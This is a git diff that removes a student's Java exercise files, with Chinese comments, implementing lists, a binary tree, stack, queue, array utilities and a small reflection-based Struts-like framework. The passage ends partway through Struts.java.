-            <artifactId>commons-lang</artifactId>
-            <version>2.6</version>
-        </dependency>
-    </dependencies>
-
-</project>
\ No newline at end of file
diff --git a/group23/769232552/coding/src/main/java/code01/ArrayList.java b/group23/769232552/coding/src/main/java/code01/ArrayList.java
deleted file mode 100644
index 6746de2a50..0000000000
--- a/group23/769232552/coding/src/main/java/code01/ArrayList.java
+++ /dev/null
@@ -1,138 +0,0 @@
-package code01;
-
-/**
- * Created by yaoyuan on 2017/3/6.
- */
-public class ArrayList implements List {
-
-    private int max_size = 0;//总长度
-    private int current_size = 0; //当前长度
-    private float extendPercent = 2; //扩展系数
-
-    private Object[] elementData;
-
-    /**
-     * 默认构造函数，初始化数组长度为100
-     */
-    public ArrayList(){
-        this.elementData = new Object[100];
-        this.max_size = 100;
-    }
-    /**
-     * 构造函数
-     * @param size，初始化数组长度
-     */
-    public ArrayList(int size){
-        this.elementData = new Object[size];
-        this.max_size = size;
-    }
-
-    /**
-     * 顺序添加元素，超出原始界限时，数组自动扩展
-     */
-    public void add(Object o) {
-        //如果越界了，需要复制原有的数组到扩充后的数组中
-        if(this.current_size + 1 > this.max_size) {
-            this.max_size = (int) Math.floor(this.max_size * this.extendPercent);
-            this.elementData = copyToNew(this.elementData,this.max_size);
-        }
-        this.elementData[this.current_size] = o;
-        this.current_size ++;
-
-    }
-
-    /**
-     * 指定位置添加元素
-     * 一种是在中间，一种是当前插入的位置尾部(如果超过尾部则默认添加到尾部)
-     */
-    public void add(int index, Object o){
-        assert(index>=0);
-        //如果越界了，需要复制原有的数组到扩充后的数组中
-        if(this.current_size + 1 > this.max_size) {
-            //如果越界了，需要复制原有的数组到扩充后的数组中
-            this.max_size = (int) Math.floor(this.max_size * this.extendPercent);
-            this.elementData = copyToNew(this.elementData,this.max_size);
-        }
-        //数组中间插入
-        if(index < this.current_size){
-            //需要把当前位置的元素往后移动
-            for (int i = this.current_size - 1; i >= index; i--) {
-                this.elementData[i+1] = this.elementData[i];
-            }
-            this.elementData[index] = o;
-        }else {
-            //后面加入
-            this.elementData[this.current_size] = o;
-        }
-        this.current_size ++;
-    }
-
-    public Object get(int index){
-        if(index >= 0 && index <= this.current_size-1){
-            return this.elementData[index];
-        }else {
-            throw new ArrayIndexOutOfBoundsException(index);
-        }
-    }
-
-    /**
-     * 删除指定位置的元素
-     * @param index
-     * @return
-     */
-    public Object remove(int index){
-        Object result = null;
-        if(index >= 0 && index <= current_size-1){
-            result = elementData[index];
-            //删除操作
-            if(index == current_size - 1){
-                elementData[index] = null;
-            }else {
-                //需要把当前位置后面的元素往前移动
-                for (int i = index; i < this.current_size-1 ; i++) {
-                    this.elementData[i] = this.elementData[i+1];
-                }
-                this.elementData[this.current_size-1] = null;
-            }
-            this.current_size --;
-        }else {
-            throw new ArrayIndexOutOfBoundsException(index);
-        }
-        return result;
-    }
-
-    public int size(){
-        return this.current_size;
-    }
-
-    public Iterator iterator(){
-        return new Iterator() {
-            int next_pos = 0;
-            int pos = -1;
-            public boolean hasNext() {
-                if(max_size <= 0){
-                    return false;
-                }
-                return next_pos < ArrayList.this.size();
-            }
-
-            public Object next() {
-                Object next = ArrayList.this.get(next_pos);
-                pos = next_pos ++;
-                return next;
-            }
-            public void remove(){
-                ArrayList.this.remove(pos);
-            }
-        };
-    }
-
-    private Object[] copyToNew(Object[] oldArray, int extendSize){
-        Object[] newArray = new Object[extendSize];
-        for (int i = 0; i < size(); i++) {
-            newArray[i] = oldArray[i];
-        }
-        return newArray;
-    }
-
-}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/main/java/code01/BinaryTree.java b/group23/769232552/coding/src/main/java/code01/BinaryTree.java
deleted file mode 100644
index b29fb960cb..0000000000
--- a/group23/769232552/coding/src/main/java/code01/BinaryTree.java
+++ /dev/null
@@ -1,97 +0,0 @@
-package code01;
-
-/**
- * Created by yaoyuan on 2017/3/10.
- */
-public class BinaryTree<T extends Comparable<T>>{
-
-    private BinaryTreeNode root = null;
-    private int size = 0;
-
-    public BinaryTreeNode createBinaryTree(T[] array){
-        for(T data : array){
-            this.insert(data);
-        }
-        return this.root;
-    }
-
-    // recursive way,
-    // t is the node that roots the subtree.
-    public BinaryTreeNode<T> insert(T data, BinaryTreeNode t){
-        if(t == null){
-            return new BinaryTreeNode<T>(data);
-        }
-        int comparator = ((T) t.data).compareTo(data);
-        if(comparator > 0){
-            t.left = insert(data,t.right);
-        }else if(comparator < 0){
-            t.right = insert(data,t.left);
-        }else {
-            // do nothing
-        }
-        return t;
-
-    }
-
-
-    //loop way
-    public void insert(T data){
-        if(this.root == null){
-            BinaryTreeNode node = new BinaryTreeNode(data);
-            this.root = node;
-            this.size ++;
-            return;
-        }
-        BinaryTreeNode cursor = this.root;
-        while (cursor != null){
-            if(data.compareTo((T) cursor.data) <= 0){
-                if(cursor.left == null) {
-                    cursor.left = new BinaryTreeNode(data);
-                    return;
-                }
-                cursor = cursor.left;
-            }
-            if(data.compareTo((T) cursor.data) > 0){
-                if(cursor.right == null) {
-                    cursor.right = new BinaryTreeNode(data);
-                    return;
-                }
-                cursor = cursor.right;
-            }
-        }
-        this.size ++;
-    }
-
-    public void leftOrderScan(BinaryTreeNode cursor){
-        if(cursor == null){
-            return;
-        }
-        leftOrderScan(cursor.left);
-        System.out.println(cursor.data.toString() + " ");
-        leftOrderScan(cursor.right);
-    }
-
-    public BinaryTreeNode getRoot(){
-        return this.root;
-    }
-
-    class BinaryTreeNode<T> {
-
-        private T data;
-        private BinaryTreeNode left;
-        private BinaryTreeNode right;
-
-        public BinaryTreeNode(T data, BinaryTreeNode left, BinaryTreeNode right) {
-            this.left = right;
-            this.right = left;
-            this.data = data;
-        }
-
-        public BinaryTreeNode(T data) {
-            this.left = null;
-            this.right = null;
-            this.data = data;
-        }
-
-    }
-}
diff --git a/group23/769232552/coding/src/main/java/code01/Iterator.java b/group23/769232552/coding/src/main/java/code01/Iterator.java
deleted file mode 100644
index b4074067bb..0000000000
--- a/group23/769232552/coding/src/main/java/code01/Iterator.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package code01;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-	public void remove();
-}
diff --git a/group23/769232552/coding/src/main/java/code01/LinkedList.java b/group23/769232552/coding/src/main/java/code01/LinkedList.java
deleted file mode 100644
index f7bbc970a9..0000000000
--- a/group23/769232552/coding/src/main/java/code01/LinkedList.java
+++ /dev/null
@@ -1,327 +0,0 @@
-package code01;
-
-
-public class LinkedList implements List {
-
-	private Node head;
-    private Node tail; //指向链表最后一个元素的引用
-
-    private int size; //总长度
-
-    public LinkedList() {
-        this.head = null;
-        this.tail = null;
-        this.size = 0;
-    }
-
-    /**
-     * 新增顺序添加一个元素
-     * @param o
-     */
-    public void add(Object o){
-        Node node = new Node();
-        node.data = o;
-        node.next = null;
-        //空链表
-        if(head == null){
-            this.head = node;
-            this.tail = node;
-        }else { //非空链表，要先找到链表尾部，再加入新解答
-            this.tail.next = node;
-            this.tail = node;
-        }
-        this.size ++;
-	}
-
-    /**
-     * 指定索引处添加node
-     */
-    public void add(int index, Object o) {
-        assert(index >= 0);
-        Node node = new Node();
-        node.data = o;
-        node.next = null;
-
-        if(index == 0){
-            //添加在头部
-            node.next = head;
-            head = node;
-        }else if(index >= this.size){
-            //添加在尾部
-            this.tail.next = node;
-        }else {
-            //添加在中间
-            Node cursor = this.head;
-            for (int i = 0; i < index - 1; i++) {
-                cursor = cursor.next;
-            }
-            node.next = cursor.next;
-            cursor.next = node;
-        }
-        this.size ++;
-    }
-
-	public Object get(int index){
-		assert(index < this.size);
-        Node cursor = this.head;
-        for (int i = 0; i < index; i++) {
-            cursor = cursor.next;
-        }
-        return  cursor.data;
-	}
-
-	public Object remove(int index){
-        assert(index >= 0 && index < this.size);
-        Object result = null;
-        //删除的是链表尾部的元素
-        if(index == this.size - 1){
-            Node cursor = this.head;
-            for (int i = 0; i < index - 1; i++) {
-                cursor = cursor.next;
-            }
-            result = cursor.next.data;
-            tail = cursor;
-            cursor.next = null;
-        }else if(index == 0){
-            //删除的是头部元素
-            result = head.data;
-            head = head.next;
-        }else {
-            //删除的是链表中间的元素
-            Node cursor = this.head;
-            for (int i = 0; i < index - 1; i++) {
-                cursor = cursor.next;
-            }
-            result = cursor.next.data;
-            cursor.next = cursor.next.next;
-        }
-        this.size --;
-        return result;
-	}
-
-	public int size(){
-		return this.size;
-	}
-
-	public void addFirst(Object o){
-        Node node = new Node();
-        node.data = o;
-        node.next = null;
-        if(this.head == null){
-            this.head = node;
-            this.tail = node;
-        }else {
-            node.next = head;
-            this.head = node;
-        }
-        this.size ++;
-	}
-	public void addLast(Object o){
-        Node node = new Node();
-        node.data = o;
-        node.next = null;
-        if(this.head == null){
-            this.head = node;
-            this.tail = node;
-        }else {
-            this.tail.next = node;
-            this.tail = node;
-        }
-        this.size ++;
-    }
-
-	public Object removeFirst(){
-		Object first = null;
-        if(this.head != null){
-            first = this.head.data;
-            head = head.next;
-            this.size --;
-        }
-        return first;
-	}
-
-	public Object removeLast(){
-		Object last = null;
-        if(this.tail != null){
-            if(this.head != this.tail){
-                Node cursor;
-                for (cursor = head;cursor.next!=tail;cursor=cursor.next);
-                last = this.tail.data;
-                this.tail = cursor;
-                this.tail.next = null;
-            }else {
-                last = this.tail.data;
-                this.head = null;
-                this.tail = null;
-            }
-            this.size --;
-        }
-        return last;
-	}
-	public Iterator iterator(){
-		return null;
-	}
-
-    /**
-     * 节点类
-     */
-    private static class Node{
-		Object data;
-		Node next;
-
-	}
-
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public void reverse(){
-        if(this.head == null || this.head == this.tail){
-            return;
-        }
-
-        Node pre_cursor = null;
-        Node cursor = this.head;
-        Node after_cursor = cursor.next;
-
-        while(cursor != null){
-            cursor.next = pre_cursor;
-            pre_cursor = cursor;
-            cursor = after_cursor;
-            if(after_cursor != null){
-                after_cursor = after_cursor.next;
-            }
-        }
-
-        Node tmpNode = this.head;
-        this.head = this.tail;
-        this.tail = tmpNode;
-	}
-
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public void removeFirstHalf(){
-        if(this.head == null || this.head.next == null){
-            return;
-        }
-        if(this.head.next.next == null){
-            this.head = this.head.next;
-        }
-
-        Node stepOne = this.head;
-        Node stepTwo = this.head;
-
-        while (stepTwo.next != null){
-            stepOne = stepOne.next;
-            stepTwo = stepTwo.next.next;
-        }
-        this.head = stepOne;
-	}
-
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public void remove(int i, int length){
-        Node current = head;
-        Node firstHalf = null;
-        for (int k = 0; k < i; k ++){
-            if(current == null){
-                return;
-            }
-            firstHalf = current;  //记录待删除节点的前一个节点
-            current = current.next;
-        }
-
-        //移动length长度
-        for (int j = 0; j < length; j++) {
-            if(current == null){
-                return;
-            }
-            current = current.next;
-        }
-
-        if(i == 0){
-            head = current;
-        }else {
-            firstHalf.next = current;
-        }
-    }
-	/**
-	 * 假定当前链表和list均包含已升序排列的整数
-	 * 从当前链表中取出那些list所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]
-	 * @param list
-	 */
-	public static int[] getElements(LinkedList list){
-		return null;
-	}
-
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在list中出现的元素
-
-	 * @param list
-	 */
-
-	public  void subtract(LinkedList list){
-
-	}
-
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public void removeDuplicateValues(){
-        if(this.head == null){
-            return;
-        }
-        Node current = this.head;
-        Node current_next = this.head;
-        while (current_next != null){
-            current_next = current_next.next; //如果放到下个while循环后面写，就需要判断一次current_next是不是null了
-            while(current_next != null && current_next.data.equals(current.data)){
-                //删除重复节点
-                current.next = current_next.next;
-                current_next = current_next.next;
-            }
-            current = current_next;
-        }
-	}
-
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public  void removeRange(int min, int max){
-        //怎么才能高效呢
-	}
-
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-		return null;
-	}
-
-    /**
-     * 遍历列表
-     */
-    public void printList(){
-        System.out.println();
-        for (Node cursor = this.head;cursor!=null;cursor=cursor.next){
-            System.out.print(cursor.data+" ");
-        }
-    }
-}
diff --git a/group23/769232552/coding/src/main/java/code01/List.java b/group23/769232552/coding/src/main/java/code01/List.java
deleted file mode 100644
index 95bc37d172..0000000000
--- a/group23/769232552/coding/src/main/java/code01/List.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package code01;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
diff --git a/group23/769232552/coding/src/main/java/code01/Queue.java b/group23/769232552/coding/src/main/java/code01/Queue.java
deleted file mode 100644
index d9956deb9a..0000000000
--- a/group23/769232552/coding/src/main/java/code01/Queue.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package code01;
-
-public class Queue {
-
-	private LinkedList linkedList = new LinkedList();
-
-	public void enQueue(Object o){
-		linkedList.addFirst(o);
-	}
-	
-	public Object deQueue(){
-		Object result = linkedList.removeLast();
-		return result;
-	}
-	
-	public boolean isEmpty(){
-		return linkedList.size() == 0;
-	}
-	
-	public int size(){
-		return linkedList.size();
-	}
-
-}
diff --git a/group23/769232552/coding/src/main/java/code01/Stack.java b/group23/769232552/coding/src/main/java/code01/Stack.java
deleted file mode 100644
index dbaeb91a48..0000000000
--- a/group23/769232552/coding/src/main/java/code01/Stack.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package code01;
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){
-		elementData.add(o);
-	}
-	
-	public Object pop(){
-		Object result = null;
-		if(elementData.size()!=0) {
-			result = elementData.remove(elementData.size() - 1);
-		}
-		return result;
-	}
-	
-	public Object peek(){
-		Object result = null;
-		if(elementData.size()!=0) {
-			result = elementData.get(elementData.size() - 1);
-		}
-		return result;
-	}
-	public boolean isEmpty(){
-		return elementData.size() == 0;
-	}
-	public int size(){
-		return elementData.size();
-	}
-}
diff --git a/group23/769232552/coding/src/main/java/code02/ArrayUtil.java b/group23/769232552/coding/src/main/java/code02/ArrayUtil.java
deleted file mode 100644
index 23055ef138..0000000000
--- a/group23/769232552/coding/src/main/java/code02/ArrayUtil.java
+++ /dev/null
@@ -1,257 +0,0 @@
-package code02;
-import org.apache.commons.lang.ArrayUtils;
-import java.util.ArrayList;
-import java.util.List;
-
-public class ArrayUtil {
-	
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换
-		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
-		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * @param origin
-	 * @return
-	 */
-	public void reverseArray(int[] origin){
-		if (origin == null || origin.length <= 1){
-			return;
-		}
-
-		int head = 0;
-		int tail = origin.length - 1;
-		int tmp;
-		while (head != tail){
-			//调换位置
-			tmp = origin[head];
-			origin[head] = origin[tail];
-			origin[tail] = tmp;
-
-            head ++;
-            tail --;
-		}
-
-	}
-	
-	/**
-	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
-	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
-	 * @param oldArray
-	 * @return
-	 */
-	public int[] removeZero(int[] oldArray){
-		if (oldArray == null || oldArray.length < 1){
-			return null;
-		}
-
-		List<Integer> newList = new ArrayList<Integer>();
-		for(int number : oldArray){
-			if(number != 0){
-				newList.add(number);
-			}
-		}
-
-        Integer[] result = new Integer[newList.size()];
-        result = (Integer[]) newList.toArray(result);
-        return ArrayUtils.toPrimitive(result);
-
-
-	}
-	
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
-	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-	
-	public int[] merge(int[] array1, int[] array2){
-        if(array1 == null && array2 == null){
-            return null;
-        }
-        if(array1 == null){
-            return array2;
-        }
-        if(array2 == null){
-            return array1;
-        }
-        int[] newArray = new int[array1.length + array2.length];
-        int m = 0,n = 0, k = 0;
-        while (m < array1.length && n < array2.length){
-            if(array1[m] <= array2[n]){
-                newArray[k++] = array1[m++];
-            }else {
-                newArray[k++] = array2[n++];
-            }
-        }
-        if(m >= array1.length){
-            while (n < array2.length){
-                newArray[k++] = array2[n++];
-            }
-        }
-        if(n >= array2.length){
-            while (m < array1.length){
-                newArray[k++] = array1[m++];
-            }
-        }
-		return  newArray;
-	}
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持
-	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int [] oldArray,  int size){
-        int[] newArray = new int[oldArray.length + size];
-        int i = 0;
-        for (; i < oldArray.length; i++) {
-            newArray[i] = oldArray[i];
-        }
-        for (int j = 0; j < size; j++){
-            newArray[i++] = 0;
-        }
-        return newArray;
-	}
-	
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
-	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-	 * max = 1, 则返回空数组 []
-	 * @param max
-	 * @return
-	 */
-    //也就是需要生成一个小于max值的fibonacci数组
-	public int[] fibonacci(int max){
-        if(max < 2){
-            return new int[]{};
-        }
-        if(max < 3){
-            return new int[]{1,1};
-        }
-        List<Integer> list = new ArrayList<Integer>();
-        list.add(0,1);
-        list.add(1,1);
-        int i=0;
-        while (list.get(i) + list.get(i+1) < max){
-            list.add(i+2,list.get(i) + list.get(i+1));
-            i++;
-        }
-
-        int[] newArray = new int[list.size()];
-        for (int j = 0; j < list.size(); j++) {
-            newArray[j] = list.get(j).intValue();
-        }
-        return newArray;
-	}
-	
-	/**
-	 * 返回小于给定最大值max的所有素数数组
-	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * @param max
-	 * @return
-     *
-     * 原理：
-     * １，判断一个数字是否为素数，一个数 n 如果是合数，那么它的所有的因子不超过sqrt(n)
-     * ２，当i是素数的时候，i的所有的倍数必然是合数。
-	 */
-	public int[] getPrimes(int max){
-
-        if(max <= 2){
-            return null;
-        }
-        boolean[] prime = new boolean[max + 1];
-        for (int i = 2; i <= max; i++) {
-            if(i%2 == 0){
-                prime[i] = false; //偶数
-            }else {
-                prime[i] = true;
-            }
-        }
-
-        for (int i = 2; i <= Math.sqrt(max) ; i++) {
-            if(prime[i]){//奇数
-                //如果i是素数，那么把i的倍数标记为非素数
-                for(int j = i+i; j <= max; j += i){
-                    prime[j] = false;
-                }
-            }
-        }
-
-        List num = new ArrayList<Integer>();
-        for (int i = 2; i <= max; i++) {
-            if(prime[i]){
-                num.add(i);
-            }
-        }
-
-        Integer[] result = new Integer[num.size()];
-        result = (Integer[]) num.toArray(result);
-        return ArrayUtils.toPrimitive(result);
-	}
-	
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
-	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max){
-
-        if(max < 6){
-            return null;
-        }
-
-        List<Integer> perfectNumlist = new ArrayList<Integer>();
-
-        for (int j = 6;j <= max; j++){
-            List<Integer> factorNumlist = new ArrayList<Integer>();
-            factorNumlist.add(1);
-            for (int i = 2; i < j; i++) {
-                if(j % i == 0){
-                    factorNumlist.add(i);
-                }
-            }
-            int sum = 0;
-            for(Integer num : factorNumlist){
-                sum += num;
-            }
-
-            if(sum == j){
-                perfectNumlist.add(j);
-            }
-        }
-        Integer[] result = new Integer[perfectNumlist.size()];
-        result = (Integer[]) perfectNumlist.toArray(result);
-        return ArrayUtils.toPrimitive(result);
-	}
-	
-	/**
-	 * 用seperator 把数组 array给连接起来
-	 * 例如array= [3,8,9], seperator = "-"
-	 * 则返回值为"3-8-9"
-	 * @param array
-	 * @param seperator
-	 * @return
-	 */
-	public String join(int[] array, String seperator){
-        StringBuilder sb = new StringBuilder();
-        for (int i = 0; i < array.length - 1; i++) {
-            sb.append(array[i]);
-            sb.append(seperator);
-        }
-        sb.append(array[array.length - 1]);
-        return sb.toString();
-	}
-
-    public void printArr(int[] array){
-        for(int num : array){
-            System.out.print(num + " ");
-        }
-    }
-
-}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/ActionConfig.java b/group23/769232552/coding/src/main/java/code02/litestruts/ActionConfig.java
deleted file mode 100644
index b5e077e7a5..0000000000
--- a/group23/769232552/coding/src/main/java/code02/litestruts/ActionConfig.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package code02.litestruts;
-
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * Created by yaoyuan on 2017/3/22.
- */
-public class ActionConfig {
-    String name;
-    String clzName;
-    Map<String,String> viewResult = new HashMap<String,String>();
-
-
-    public ActionConfig(String actionName, String clzName) {
-        this.name = actionName;
-        this.clzName = clzName;
-    }
-    public String getClassName(){
-        return clzName;
-    }
-    public void addViewResult(String name, String viewName){
-        viewResult.put(name, viewName);
-    }
-    public String getViewName(String resultName){
-        return viewResult.get(resultName);
-    }
-}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/Configuration.java b/group23/769232552/coding/src/main/java/code02/litestruts/Configuration.java
deleted file mode 100644
index 85d3d98a1f..0000000000
--- a/group23/769232552/coding/src/main/java/code02/litestruts/Configuration.java
+++ /dev/null
@@ -1,64 +0,0 @@
-package code02.litestruts;
-
-import org.dom4j.Document;
-import org.dom4j.DocumentException;
-import org.dom4j.Element;
-import org.dom4j.io.SAXReader;
-
-import java.io.File;
-import java.util.HashMap;
-import java.util.Iterator;
-import java.util.Map;
-
-/**
- * Created by yaoyuan on 2017/3/21.
- */
-public class Configuration {
-
-
-    private String path;
-    private final Map<String, ActionConfig> actionMap = new HashMap<String, ActionConfig>();
-
-    Configuration(String path){
-        parseXML(path);
-    }
-
-    //解析xml文件
-    private void parseXML(String path){
-        //读取文件
-        File file = new File(path);
-        SAXReader reader = new SAXReader();
-        Document document = null;
-        try {
-            document = reader.read(file);
-        } catch (DocumentException e) {
-            e.printStackTrace();
-        }
-        Element root = document.getRootElement();
-
-        for (Iterator<Element> iterator = root.elementIterator("action"); iterator.hasNext();) {
-            Element e = iterator.next();
-            String actionName = e.attributeValue("name");
-            String clazName = e.attributeValue("class");
-            ActionConfig actionConfig = new ActionConfig(actionName,clazName);
-            for(Iterator<Element> childIterator = e.elementIterator();childIterator.hasNext();){
-                Element child = childIterator.next();
-                String jspKey = child.attributeValue("name");
-                String jspValue = child.getTextTrim();
-                actionConfig.addViewResult(jspKey,jspValue);
-            }
-            actionMap.put(actionName,actionConfig);
-        }
-    }
-
-    public String getView(String actionName, String result){
-        String jspKey = actionName + "." + result;
-        return actionMap.get(actionName).getViewName(result);
-    }
-
-
-    public Map<String, ActionConfig> getActionMap() {
-        return actionMap;
-    }
-
-}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/LoginAction.java b/group23/769232552/coding/src/main/java/code02/litestruts/LoginAction.java
deleted file mode 100644
index 0799eae71a..0000000000
--- a/group23/769232552/coding/src/main/java/code02/litestruts/LoginAction.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package code02.litestruts;
-
-/**
- * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
- * @author liuxin
- *
- */
-public class LoginAction{
-    private String name ;
-    private String password;
-    private String message;
-
-    public String getName() {
-        return name;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-
-    public String execute(){
-        if("test".equals(name) && "1234".equals(password)){
-            this.message = "login successful";
-            return "success";
-        }
-        this.message = "login failed,please check your user/pwd";
-        return "fail";
-    }
-
-    public void setName(String name){
-        this.name = name;
-    }
-    public void setPassword(String password){
-        this.password = password;
-    }
-    public String getMessage(){
-        return this.message;
-    }
-}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/ReflectionUtil.java b/group23/769232552/coding/src/main/java/code02/litestruts/ReflectionUtil.java
deleted file mode 100644
index 2a499f104b..0000000000
--- a/group23/769232552/coding/src/main/java/code02/litestruts/ReflectionUtil.java
+++ /dev/null
@@ -1,119 +0,0 @@
-package code02.litestruts;
-
-import org.slf4j.LoggerFactory;
-
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Created by yaoyuan on 2017/3/21.
- */
-public class ReflectionUtil {
-    private static final org.slf4j.Logger logger = LoggerFactory.getLogger(ReflectionUtil.class);
-
-    private static final Map<String, Class<?>> clazzMap = new HashMap<String, Class<?>>();
-
-    //加载xml文件中的类
-    public void initiateClazz(Configuration cfg){
-        Map<String, ActionConfig> actionMap = cfg.getActionMap();
-
-        for (Map.Entry<String, ActionConfig> entry : actionMap.entrySet()) {
-            String actionName = entry.getKey(); //login
-            ActionConfig actionConfig =entry.getValue();
-            String className = actionConfig.getClassName(); //code02.litestruts.LoginAction
-            Class<?> cls;
-            try {
-                cls = Class.forName(className, true, Thread.currentThread().getContextClassLoader());
-                clazzMap.put(actionName,cls);
-            } catch (Exception e) {
-                logger.warn("加载类 " + className + "出错！");
-            }
-        }
-    }
-
-
-    //返回实例对象
-    public Object getInstance(String actionName){
-        Object instance = null;
-        for (Map.Entry<String, Class<?>> entry : clazzMap.entrySet()) {
-            String action = entry.getKey(); //login
-            Class<?> cls = entry.getValue(); //code02.litestruts.LoginAction.class
-            if(actionName.equals(action)){
-                try {
-                    instance = cls.newInstance();
-                } catch (Exception e) {
-                    logger.error("生成实例出错！", e);
-                    throw new RuntimeException(e);
-                }
-            }
-        }
-        return instance;
-    }
-
-
-    //参数赋值
-    public void setParameters(Object o, Map<String, String> params) {
-
-        List<Method> methods = getSetterMethods(o.getClass());
-        for (String name : params.keySet()) {
-            String methodName = "set" + name;
-            for (Method m : methods) {
-                if (m.getName().equalsIgnoreCase(methodName)) {
-                    try {
-                        m.invoke(o, params.get(name));
-                    } catch (InvocationTargetException e) {
-                        e.printStackTrace();
-                    } catch (IllegalAccessException e) {
-                        e.printStackTrace();
-                    }
-                }
-            }
-        }
-    }
-
-    //运行无参方法
-    public Object runMethodWithoutParams(Object o , String methodName){
-        Class<?> clz = o.getClass();
-        Object result = null;
-        try {
-            Method method = clz.getDeclaredMethod(methodName);
-            try {
-                result = method.invoke(o);
-            } catch (IllegalAccessException e) {
-                e.printStackTrace();
-            } catch (InvocationTargetException e) {
-                e.printStackTrace();
-            }
-        } catch (NoSuchMethodException e) {
-            e.printStackTrace();
-        }
-        return result;
-    }
-
-    //返回以set开头的方法
-    public List<Method> getSetterMethods(Object o){
-        return getMethods(o.getClass(),"set");
-    }
-
-    //返回以get开头的方法
-    public List<Method> getGetterMethods(Object o){
-        return getMethods(o.getClass(),"get");
-    }
-
-    private List<Method> getMethods(Class<?> clz, String startWithName){
-        List<Method> methodsList = new ArrayList<Method>();
-        Method[] methods = clz.getDeclaredMethods();
-        for (int i = 0; i < methods.length; i++) {
-            String methodName = methods[i].getName();
-            if(methodName.startsWith(startWithName)){
-                methodsList.add(methods[i]);
-            }
-        }
-        return methodsList;
-    }
-
-}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/Struts.java b/group23/769232552/coding/src/main/java/code02/litestruts/Struts.java
deleted file mode 100644
index b954f25bd5..0000000000
--- a/group23/769232552/coding/src/main/java/code02/litestruts/Struts.java
+++ /dev/null
@@ -1,76 +0,0 @@
-package code02.litestruts;
-
-import org.slf4j.LoggerFactory;
-
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-
-public class Struts {
-    private static final org.slf4j.Logger logger = LoggerFactory.getLogger(Struts.class);
-    /*
-      0. 读取配置文件struts.xml
-
-       1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
-      据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是
-      ("name"="test" ,  "password"="1234") ,
-      那就应该调用 setName和setPassword方法
-
-
-
-
-  */
-    public static View runAction(String actionName, Map<String, String> parameters)  {
-        View view = new View();
-        Configuration cfg = new Configuration("src/main/resources/struts.xml");
-        ReflectionUtil reflectionUtil = new ReflectionUtil();
-        reflectionUtil.initiateClazz(cfg);
